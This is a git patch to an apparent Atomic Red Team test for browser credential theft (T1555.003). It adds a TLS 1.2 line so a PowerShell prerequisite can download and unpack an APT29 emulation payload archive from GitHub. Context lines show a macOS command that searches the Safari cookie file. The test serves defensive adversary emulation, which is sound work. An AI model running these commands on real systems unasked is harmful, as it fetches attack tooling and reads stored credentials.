From d1e3ba699186044d8f47a5a7092c460aa2c6d416 Mon Sep 17 00:00:00 2001 From: Scoubi Date: Fri, 17 Jul 2020 15:58:10 -0400 Subject: [PATCH] Update T1555.003.yaml (#1137) Add a line to include/force TLS1.2 in order for the prereq function to work on win2k16 All the credit to clr2of8 for sending me the string Co-authored-by: Carrie Roberts --- atomics/T1555.003/T1555.003.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/atomics/T1555.003/T1555.003.yaml b/atomics/T1555.003/T1555.003.yaml index ab1ab666..ec85b06c 100644 --- a/atomics/T1555.003/T1555.003.yaml +++ b/atomics/T1555.003/T1555.003.yaml @@ -23,6 +23,7 @@ atomic_tests: prereq_command: | if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1} get_prereq_command: | + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force @@ -49,4 +50,4 @@ atomic_tests: command: | cd ~/Library/Cookies grep -q "#{search_string}" "Cookies.binarycookies" - name: sh \ No newline at end of file + name: sh